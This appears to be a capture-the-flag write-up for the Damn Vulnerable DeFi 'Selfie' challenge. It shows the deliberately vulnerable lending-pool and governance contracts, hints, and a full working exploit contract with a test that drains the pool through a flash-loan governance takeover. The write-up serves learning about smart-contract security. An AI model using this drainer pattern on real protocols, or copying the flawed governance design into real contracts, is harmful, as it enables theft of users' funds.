Damn Vulnerable Defi 6: Selfie

Challenge:

Our sixth challenge is called ‘selfie’ and it comes with the following prompt:

A new cool lending pool has launched! It's now offering flash loans of DVT tokens.

Wow, and it even includes a really fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.

So all we have to do is drain the lending pool!

The contracts for this challenge are located in contracts/selfie/. The contract source code can be found below:

SelfiePool.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SimpleGovernance.sol";

/**
 * @title SelfiePool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SelfiePool is ReentrancyGuard {

    using Address for address;

    ERC20Snapshot public token;
    SimpleGovernance public governance;

    event FundsDrained(address indexed receiver, uint256 amount);

    modifier onlyGovernance() {
        require(msg.sender == address(governance), "Only governance can execute this action");
        _;
    }

    constructor(address tokenAddress, address governanceAddress) {
        token = ERC20Snapshot(tokenAddress);
        governance = SimpleGovernance(governanceAddress);
    }

    function flashLoan(uint256 borrowAmount) external nonReentrant {
        uint256 balanceBefore = token.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        
        token.transfer(msg.sender, borrowAmount);        
        
        require(msg.sender.isContract(), "Sender must be a deployed contract");
        msg.sender.functionCall(
            abi.encodeWithSignature(
                "receiveTokens(address,uint256)",
                address(token),
                borrowAmount
            )
        );
        
        uint256 balanceAfter = token.balanceOf(address(this));

        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

    function drainAllFunds(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);
        
        emit FundsDrained(receiver, amount);
    }
}
SimpleGovernance.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title SimpleGovernance
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SimpleGovernance {

    using Address for address;
    
    struct GovernanceAction {
        address receiver;
        bytes data;
        uint256 weiAmount;
        uint256 proposedAt;
        uint256 executedAt;
    }
    
    DamnValuableTokenSnapshot public governanceToken;

    mapping(uint256 => GovernanceAction) public actions;
    uint256 private actionCounter;
    uint256 private ACTION_DELAY_IN_SECONDS = 2 days;

    event ActionQueued(uint256 actionId, address indexed caller);
    event ActionExecuted(uint256 actionId, address indexed caller);

    constructor(address governanceTokenAddress) {
        require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
        governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
        actionCounter = 1;
    }
    
    function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
        require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
        require(receiver != address(this), "Cannot queue actions that affect Governance");

        uint256 actionId = actionCounter;

        GovernanceAction storage actionToQueue = actions[actionId];
        actionToQueue.receiver = receiver;
        actionToQueue.weiAmount = weiAmount;
        actionToQueue.data = data;
        actionToQueue.proposedAt = block.timestamp;

        actionCounter++;

        emit ActionQueued(actionId, msg.sender);
        return actionId;
    }

    function executeAction(uint256 actionId) external payable {
        require(_canBeExecuted(actionId), "Cannot execute this action");
        
        GovernanceAction storage actionToExecute = actions[actionId];
        actionToExecute.executedAt = block.timestamp;

        actionToExecute.receiver.functionCallWithValue(
            actionToExecute.data,
            actionToExecute.weiAmount
        );

        emit ActionExecuted(actionId, msg.sender);
    }

    function getActionDelay() public view returns (uint256) {
        return ACTION_DELAY_IN_SECONDS;
    }

    /**
     * @dev an action can only be executed if:
     * 1) it's never been executed before and
     * 2) enough time has passed since it was first proposed
     */
    function _canBeExecuted(uint256 actionId) private view returns (bool) {
        GovernanceAction memory actionToExecute = actions[actionId];
        return (
            actionToExecute.executedAt == 0 &&
            (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
        );
    }
    
    function _hasEnoughVotes(address account) private view returns (bool) {
        uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
        uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;
    }
}

The hints and solutions for this level can be found below:

Hint 1:

Yet another flash loan. How can we abuse the flash loan to take over the governance? Hint: how are votes calculated?

Hint 2:

We can call the snapshot() function on the governance token at any time to record the balance of our attacker contract as well as the total supply.

Hint 3:

We can use the flash loan to queue up an action. When we later activate the action from our attacker contract, who is the msg.sender for the executed action?

Solution:

The flash loan allows us to temporarily borrow a huge number of governance tokens. During the flash loan, and while the governance tokens are still in our posession, we can call snapshot() to record the balance of our attacker contract and the current total supply. This is later used to check that we have enought votes to perform the queueAction(). We can now queue an action that will be a call to the drainAllFunds() function. With the action queued, we can repay our flash loan and wait the requried time of two days to execute our action. Notably, we will call into the governance contract in order to execute the action, which will in turn make an external call using our provided calldata (a call to the drainAllFunds() function). Whenever a regular (non delegating) external call is made, the msg.sender will be the calling contract. This is key, because this is how we can bypass the onlyGovernance modifier. Finally, executeAction() will call drainAllFunds() with the attacker address as a parameter and then all of the funds from the SelfiePool contract will be sent to the attacker and we have completed the challenge.

Ethers Solution:
    it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE */
        const SelfiePoolAttackFactory = await ethers.getContractFactory('SelfiePoolDrainer', deployer);
        this.s_attacker = await SelfiePoolAttackFactory.deploy(this.pool.address, this.governance.address, this.token.address);
        await this.s_attacker.attack(TOKENS_IN_POOL, attacker.address);
        await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
        await this.s_attacker.payAttacker();
    });
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
 * @title SelfiePoolDrainer.sol
 * @author securerodd
 */
 interface ISelfiePool {
   function flashLoan(uint256) external;
}

 interface ISimpleGovernance { 
    function queueAction(address, bytes calldata, uint256) external returns (uint256);
    function executeAction(uint256) external;
}
interface IGovToken {
    function snapshot() external;
    function transfer(address, uint256) external;
}

contract SelfiePoolDrainer {
    ISelfiePool public pool;
    ISimpleGovernance public simpleGov;
    IGovToken public token;
    address attacker;
    uint256 attack_id;

    constructor(address _poolAddress, address _govAddress, address _token) {
        pool = ISelfiePool(_poolAddress);
        simpleGov = ISimpleGovernance(_govAddress);
        token = IGovToken(_token);
    }

    function receiveTokens(address _derp, uint256 _amount) external {
        token.snapshot();
        attack_id = simpleGov.queueAction(address(pool), abi.encodeWithSignature("drainAllFunds(address)", attacker), 0);
        token.transfer(address(pool), _amount); 
    }

    function payAttacker() external {
        simpleGov.executeAction(attack_id);
    }

    function attack(uint _amount, address _attacker) external {
        attacker = _attacker;
        pool.flashLoan(_amount);
    }
}